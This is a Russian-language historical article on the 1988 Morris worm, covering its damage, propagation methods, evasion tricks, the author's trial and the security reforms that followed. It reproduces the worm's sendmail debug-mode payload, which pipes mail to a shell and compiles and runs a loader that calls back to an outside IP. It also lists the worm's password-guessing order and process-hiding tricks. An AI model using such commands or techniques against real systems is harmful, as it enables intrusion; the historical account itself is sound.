По словам Роберта Морриса, червь был создан в исследовательских целях. Его код не содержал в себе никакой «полезной» нагрузки (деструктивных функций). Тем не менее, из-за допущенных ошибок в алгоритмах работы, распространение червя спровоцировало так называемый «отказ в обслуживании», когда ЭВМ были заняты выполнением многочисленных копий червя и переставали реагировать на команды операторов. «Червь Морриса» практически парализовал работу компьютеров в сети ARPANET на срок до пяти суток. Оценка простоя - минимум 8 миллионов часов и свыше 1 миллиона часов временных затрат на восстановление работоспособности систем. Общие убытки в денежном эквиваленте оценивались в 98 миллионов долларов, они складывались их прямых и косвенных потерь.
К прямым потерям относились (32 миллиона долларов):
остановка, тестирование и перезагрузка 42700 машин;
идентификация червя, удаление, чистка памяти и восстановление работоспособности 6200 машин;
анализ кода червя, дизассемблирование и документирование;
исправление UNIX-систем и тестирование.
К косвенным потерям были отнесены (66 миллионов долларов):
потери машинного времени в результате отсутствия доступа к сети;
потери доступа пользователей к сети.
Впрочем, к этим оценкам нужно относится весьма и весьма осторожно.
Структурно червь состоял из трех частей - «головы» и двух «хвостов». «Голова» представляла собой исходный текст на языке C (99 строк) и компилировалась непосредственно на удаленной машине. «Хвосты» были идентичными, с точки зрения исходного кода и алгоритмов, бинарными файлами, но скомпилированными под разные типы архитектур. По замыслу Морриса в качестве целевых аппаратных платформ были выбраны VAX и SUN. «Голова» забрасывалась при помощи следующих методов:

  • использование отладочного режима в sendmail;
  • использование уязвимости типа «переполнение буфера» в сетевом сервисе fingerd;
  • подбор логина и пароля для удаленного выполнения программ (rexec);
  • вызов удаленного командного интерпретатора (rsh) путем подбора логина и пароля или используя механизм доверия.
Sendmail - самый старый сетевой сервис, обрабатывающий прием и отправку почты по протоколу SMTP. Во времена распространения червя, в Sendmail имелась недокументированная возможность - разработчиками был запрограммирован отладочный режим, который не должен был находится в рабочей версии программы и был оставлен по ошибке. Одна из возможностей отладочного режима заключалась в том, чтобы почтовое сообщение обрабатывалось не самим Sendmail, а другой программой. Пример почтового сообщения, отправляемого червем:
debug
mail from:
rcptto:<"|sed-e "1,/^$/d" | /bin/sh; exit 0">
data
cd /usr/tmp
cat >x14481910.с <<"EOF"
<текст программы l1.c>
EOF
cc -о х14481910 х14481910.с; х14481910 128.32.134.16 32341 8712440; rm -f x14481910 x14481910.c
.
quit
Как видно, из тела письма убирались заголовки (при помощи текстового препроцессора sed) и производилось сохранение файла исходного кода «головы». Далее командному процессору давались инструкции на компилирование кода «головы», запуск получившегося исполняемого файла и стирание временных файлов.
Для эксплуатации уязвимости сервиса fingerd, червь передавал специально подготовленную строку из 536 байт, которая вызывала в конечном итоге функцию execve("/bin/sh", 0, 0). Это срабатывало только для компьютеров VAX с установленной ОС 4.3BSD, на компьютерах SUN под управлением SunOS данной уязвимости не было.
Для использования метода распространения через rexec и rsh собирался список пользователей локальной машины. На его основе производился подбор наиболее часто используемых паролей, в надежде что многие пользователи имеют одинаковые имена и пароли на всех машинах в сети, что впрочем оказалось недалеким от истины. Помимо подбора в rsh использовался механизм доверия, или по другому механизм упрощенной аутентификации по IP адресу удаленной машины. Такие адреса хранились в файлах /etc/hosts.equiv и.rhosts. Для большинства компьютеров доверие было взаимным, так что с большой долей вероятности, перечень IP адресов из этих файлов, найденных червем, позволял осуществить вход в удаленную систему через rsh вообще не используя пароль
При подборе червь пробовал следующие варианты паролей:
  • пустой;
  • имя пользователя (user);
  • имя пользователя, написанное наоборот (resu);
  • двойной повтор имени пользователя (useruser);
  • имя или фамилия пользователя (John, Smith);
  • имя или фамилия пользователя в нижнем регистре (john, smith);
  • встроенный словарь размером 432 слова;
  • файл /usr/dict/words, содержащий около 24000 слов и используемый в системе 4.3BSD (и других) как орфографический словарь. Если слово начинается с прописной буквы, то проверялся и вариант со строчной буквой.
Комплексное использование нескольких методов распространения значительно повлияло на массовое распространение червя в сети. Для поиска удаленных компьютеров производилось сканирование сети на основе информации из таблицы маршрутов и собственного IP адреса зараженной системы.
Червь использовал несколько приемов для затруднения своего обнаружения администраторами компьютеров:
  • удаление своего исполняемого файла после запуска;
  • отключались все сообщения об ошибках, а размер аварийного дампа устанавливался в ноль;
  • исполняемый файл червя сохранялся под именем sh, такое же имя использовалось командным интерпретатором Bourne Shell, таким образом, червь маскировался в списке процессов;
  • примерно каждые три минуты порождался дочерний поток, а родительский завершался, при этом происходило постоянное изменение pid процесса червя и обнулялось время работы, показываемое в списке процессов;
  • все текстовые строки были закодированы путем применения операции xor 81h.
Несмотря на «грандиозность» задумки, червь имел в себе некоторые ошибки, как проектирования, так и реализации. Именно неправильно реализованный алгоритм проверки, не является ли система уже зараженной, привел к массовому распространению червя в сети, вопреки задумке его автора. На практике, компьютеры заражались многократно, что, во-первых, приводило к быстрому исчерпанию ресурсов, во-вторых - способствовало лавинообразному распространению червя в сети. По некоторым оценкам червь Морриса инфицировал порядка 6200 компьютеров. Сам разработчик, осознав масштабы результатов своего поступка, добровольно сдался властям и обо всем рассказал. Слушанье по его делу закончилось 22 января 1990 года. Изначально Моррису грозило до пяти лет лишения свободы и штраф в размере 25 тысяч долларов. В действительности приговор был достаточно мягок, суд назначил 400 часов общественных работ, 10 тысяч долларов штрафа, испытательный срок в три года и оплату расходов, связанных с наблюдением за осужденным.
Инцидент с «червем Морриса» заставил специалистов в области IT серьезно задуматься о вопросах безопасности, в частности именно после этого для повышения безопасности системы стало внедряться использование пауз после неправильного ввода пароля и хранение паролей в /etc/shadow, куда они перенесены из доступного на чтение всем пользователям файла /etc/passwd. Но наиболее важным событием стало создание в ноябре 1988 года координационного центра CERT (CERT Coordination Center, CERT/CC), деятельность которого связана с решением проблем безопасности в Интернете. Первым появившимся в декабре 1988 года бюллетенем безопасности CERT стало сообщение об уязвимостях, использованных червем. Примечательно, что многие технические решения, используемые «червем Морриса», такие как использование перебора паролей, компиляция кода загрузчика на удаленной ЭВМ под управлением *NIX систем (Slapper), сканирование сети для выявления целей и т.д. применяются и в современных образцах вредоносного программного обеспечения.
Интересно, что в том же самом 1988 году известный программист Питер Нортон довольно резко высказался в печати против самого факта существования компьютерных вирусов, называя их «мифом» и сравнивая шум вокруг этой темы с «рассказами о крокодилах, живущих в канализации Нью-Йорка». Всего два года спустя после заявления Нортона, в 1990 году, вышла первая версия антивирусной программы Norton AntiVirus.
И напоследок - в 1988 году, будучи под впечатлением от атаки червя Морриса, американская Ассоциация компьютерного оборудования объявила 30 ноября международным Днем защиты информации (Computer Security Day), который отмечается и по сей день.

© 2024 beasthackerz.ru - Браузеры. Аудио. Жесткий диск. Программы. Локальная сеть. Windows